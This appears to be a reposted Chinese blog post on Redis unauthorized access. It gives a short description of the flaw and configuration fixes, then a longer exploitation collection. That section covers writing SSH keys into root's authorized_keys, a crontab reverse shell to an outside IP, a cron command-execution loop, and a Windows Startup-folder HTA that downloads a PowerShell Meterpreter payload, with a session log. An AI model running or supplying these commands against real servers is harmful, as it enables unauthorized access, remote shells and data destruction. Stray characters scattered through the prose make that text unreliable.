** 一促煮、漏洞描述和危害 **
Redis因配置不當(dāng)可以未授權(quán)訪問俱萍,被攻擊者惡意利用。
攻擊者無需認(rèn)證訪問到內(nèi)部數(shù)據(jù)颂翼,可能導(dǎo)致敏感信息泄露,黑客也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù)慨灭。
攻擊者可通過EVAL執(zhí)行l(wèi)ua代碼朦乏,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件,如果Redis以root身份運(yùn)行氧骤,黑客可以給root賬戶寫入SSH公鑰文件呻疹,直接通過SSH登錄受害服務(wù)器。
**二筹陵、已確認(rèn)被成功利用的軟件及系統(tǒng) **
對(duì)公網(wǎng)開放刽锤,且未啟用認(rèn)證的redis服務(wù)器。
三朦佩、建議修復(fù)方案
1并思、指定redis服務(wù)使用的網(wǎng)卡 (需要重啟redis才能生效)
在 redis.conf 文件中找到 “# bind 127.0.0.1” ,把前面的#號(hào)去掉语稠,然后保存宋彼。注:修改后只有本機(jī)才能訪問Redis。
2、設(shè)置訪問密碼 (需要重啟redis才能生效)
在 redis.conf 中找到“requirepass”字段输涕,在后面填上你需要的密碼音婶,Redis客戶端也需要使用此密碼來訪問Redis服務(wù)。
3占贫、修改Redis服務(wù)運(yùn)行賬號(hào)
請(qǐng)以較低權(quán)限賬號(hào)運(yùn)行Redis服務(wù)桃熄,且禁用該賬號(hào)的登錄權(quán)限先口⌒桶拢可以限制攻擊者往磁盤寫入文件,但是Redis數(shù)據(jù)還是能被黑客訪問到碉京,或者被黑客惡意刪除厢汹。
4、設(shè)置防火墻策略
如果正常業(yè)務(wù)中Redis服務(wù)需要被其他服務(wù)器來訪問谐宙,可以設(shè)置iptables策略僅允許指定的IP來訪問Redis服務(wù)烫葬。
2.3 漏洞分析與利用
首先在本地生產(chǎn)公私鑰文件:
$ssh-keygen –t rsa
然后將公鑰寫入foo.txt文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
再連接Redis寫入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
$ 192.168.1.11:6379> config get dir
- "dir"
- "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
$ 192.168.1.11:6379> save
這樣就可以成功的將自己的公鑰寫入/root/.ssh文件夾的authotrized_keys文件里,然后攻擊者直接執(zhí)行:
$ ssh –i id_rsa root@192.168.1.11
即可遠(yuǎn)程利用自己的私鑰登錄該服務(wù)器凡蜻。
當(dāng)然搭综,寫入的目錄不限于/root/.ssh 下的authorized_keys,也可以寫入用戶目錄划栓,不過Redis很多以root權(quán)限運(yùn)行兑巾,所以寫入root目錄下,可以跳過猜用戶的步驟忠荞。
轉(zhuǎn)載內(nèi)容
Redis利用姿勢(shì)收集
redis的exploit蒋歌,完全不需要flushall破壞數(shù)據(jù)場(chǎng)景,redis-cli set 1 ‘ringzero’委煤,這樣可以控制第一條記錄堂油,就能保證你的內(nèi)容始終保持在最前面;
測(cè)試環(huán)境:CentOS碧绞,RHEL
- 利用crontab反彈shell
redis-cli flushall
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
- 利用crontab創(chuàng)建文件 /tmp/888
redis-cli flushall # 為了方便測(cè)試
redis-cli set test 'test'
redis-cli set my 'mymymymymymymymymymymymy'
redis-cli set word 'wordwordwordwordwordword'
redis-cli set hello 'ringzero'
redis-cli set word1 'word1word1word1word1word1word1'
echo -e "\n\n/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
redis-cli flushall
echo -e "\n\n/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
- 二次改寫crontab
redis-cli flushall
redis-cli set 2 ';a=redis-cli get c
;'
redis-cli set 1 'id;redis-cli set r$a
;#'
redis-cli config set dir /tmp/
redis-cli config set dbfilename w
redis-cli save
redis-cli set c whoami
- 利用第一步的寫crontab步驟府框,完成下面的命令
echo " " > /tmp/zz
cat /tmp/w >> /tmp/zz
/bin/sh /tmp/zz
redis-cli get r
控制 /var/spool/cron/root 和 /tmp/zz
最終實(shí)現(xiàn),每10秒從redis的c變量讀入要執(zhí)行的命令讥邻,再將執(zhí)行結(jié)果寫入變量r
- sleep 10;/bin/sh /tmp/zz
windows利用方式(轉(zhuǎn)自90sec)
redis 官方未發(fā)布windows版本迫靖,但是野外存在redis/win版本。
在測(cè)試時(shí)發(fā)現(xiàn)一windows版本redis计维,遂開始搞袜香。
直接上利用,基于msf:
root@weisuo.org:~# cat hta-psh.txt
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
[url=mailto:root@weisuo.org]root@weisuo.org[/url]:~# cat hta-psh.txt |redis-cli -x -h 192.168.138.27 set a
OK
hta-psh.txt 對(duì)一些字符串進(jìn)行變通鲫惶,如不蜈首,在寫入時(shí)會(huì)導(dǎo)致字符串丟失。
msfconsole
use payload/windows/meterpreter/reverse_tcp
generate -t hta-psh -f /var/www/1.ps1
之后起個(gè)handle,略
修改1.ps1欢策,文件內(nèi)容大概如下:
$command=”powershell -nop -w hidden -e xxxxxxxxxxxxxxxx”;iex $command;$command2=”taskkill /im mshta.exe”;iex $command2;
最后寫入文件吆寨,等待管理員登陸
root@weisuo.org:~# redis-cli -h 192.168.138.27
redis 192.168.138.27:6379> CONFIG GET dir
- "dir"
- "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
redis 192.168.138.27:6379> config get dbfilename - "dbfilename"
- "2.hta"
redis 192.168.138.27:6379> save
OK
redis 192.168.138.27:6379>[/p][p=20, null, left]
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.
[*] Started reverse TCP handler on 119.91.151.22:80
msf exploit(handler) > [*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 60.111.27.14
[*] Meterpreter session 4 opened (119.91.151.22:80 -> 60.191.37.34:56301) at 2016-06-06 11:06:00 -0400
[*] Session ID 4 (119.91.151.22:80 -> 60.111.27.14:56301) processing AutoRunScript 'migrate -f'
[*] Current server process: powershell.exe (4896)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3768
[+] Successfully migrated to process
本站內(nèi)容均為原創(chuàng),轉(zhuǎn)載請(qǐng)務(wù)必保留署名與鏈接踩寇!
redis利用姿勢(shì)收集:https://www.webshell.cc/5154.html